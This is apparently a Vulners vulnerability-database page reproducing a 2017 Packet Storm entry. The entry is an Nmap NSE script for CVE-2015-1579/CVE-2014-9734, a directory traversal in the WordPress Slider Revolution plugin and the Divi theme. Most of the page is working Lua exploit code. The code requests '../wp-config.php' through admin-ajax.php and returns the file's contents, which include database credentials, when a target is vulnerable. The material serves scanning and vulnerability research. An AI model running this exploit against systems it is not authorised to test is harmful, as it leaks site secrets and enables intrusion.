Lucene search
K

WordPress Elegant Themes Divi Theme Directory Traversal Nmap NSE Script

🗓️ 07 Apr 2017 00:00:00Reported by Rewanth CoolType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 85 Views

WordPress Elegant Themes Divi Theme Directory Traversal Nmap NSE Scrip

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for Path Traversal in Elegantthemes Divi
3 Feb 201712:00
githubexploit
GithubExploit
Exploit for Path Traversal in Elegantthemes Divi
3 Feb 201621:44
githubexploit
Circl
CVE-2014-9734
1 Sep 201400:00
circl
Circl
CVE-2015-1579
1 Sep 201400:00
circl
CNVD
WordPress Elegant Themes Divi Theme Directory Traversal Vulnerability
21 Feb 201500:00
cnvd
CNVD
WordPress Slider Revolution Plugin Directory Traversal Vulnerability
2 Jul 201500:00
cnvd
Check Point Advisories
WordPress Slider Revolution Plugin Local File Inclusion (CVE-2014-9734; CVE-2015-1579)
17 Dec 201400:00
checkpoint_advisories
CVE
CVE-2014-9734
30 Jun 201514:00
cve
CVE
CVE-2015-1579
11 Feb 201519:00
cve
Cvelist
CVE-2014-9734
30 Jun 201514:00
cvelist
Rows per page
`local http = require "http"  
local shortport = require "shortport"  
local stdnse = require "stdnse"  
local string = require "string"  
local vulns = require "vulns"  
local nmap = require "nmap"  
  
description = [[  
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress  
allows remote attackers to read arbitrary files  
via a .. (dot dot) in the img parameter  
in a revslider_show_image action to wp-admin/admin-ajax.php.  
  
NOTE: this vulnerability may be a duplicate of CVE-2014-9734.  
  
Wordpress Slider Revolution Responsive <= 4.1.4  
suffers from Arbitrary File Download vulnerability.  
]]  
  
---  
-- @usage  
-- nmap --script http-vuln-cve2015-1579  
--  
-- @args  
-- http-vuln-cve2015-1579.uri  
-- Wordpress root directory on the website. Default: '/'  
--  
-- @output  
-- PORT STATE SERVICE  
-- 80/tcp open http  
-- | http-vuln-cve2015-1579  
-- | VULNERABLE:  
-- | WordPress Plugin Slider REvolution 4.1.4  
-- | Arbitrary File Download vulnerability  
-- | State: VULNERABLE (Exploitable for versions <= 4.1.4)  
-- | IDs:  
-- | CVE: CVE-2015-1579  
-- | CVE: CVE-2014-9734  
-- | Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress  
-- | allows remote attackers to read arbitrary files  
-- | via a .. (dot dot) in the img parameter  
-- | in a revslider_show_image action to wp-admin/admin-ajax.php.  
-- |  
-- | NOTE: this vulnerability may be a duplicate of CVE-2014-9734.  
-- |  
-- | References:  
-- | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1579  
--  
---  
  
author = "Rewanth Cool"  
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"  
categories = {"vuln", "intrusive", "exploit"}  
  
portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")  
  
action = function(host, port)  
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"  
  
local vulnPath = "wp-admin/admin-ajax.php"  
local vulnParams = "action=revslider_show_image&img=../wp-config.php"  
  
-- Exploiting the vulnerability  
local response = http.get( host, port, uri..vulnPath.."?"..vulnParams )  
  
if response.status == 200 then  
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)  
local vuln = {  
title = "WordPress Plugin Slider REvolution 4.1.4",  
state = vulns.STATE.NOT_VULN,  
description = [[  
Directory traversal vulnerability in the Elegant Themes Divi theme for WordPress  
allows remote attackers to read arbitrary files  
via a .. (dot dot) in the img parameter  
in a revslider_show_image action to wp-admin/admin-ajax.php.  
  
NOTE: this vulnerability may be a duplicate of CVE-2014-9734.  
]],  
IDS = {  
CVE = {  
"CVE-2014-9734",  
"CVE-2015-1579"  
},  
references = {  
"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1579"  
},  
dates = {  
disclosure = {  
year = "2015",  
month = "02",  
day = "11"  
},  
}  
}  
}  
  
-- Matching the patern in the response  
if( string.match(response.body, (("<?php"):gsub("%p","%%%0"))) ) then  
vuln.state = vulns.STATE.EXPLOIT  
vuln.exploit_results = response.body  
return vulnReport:make_output(vuln)  
end  
end  
end  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation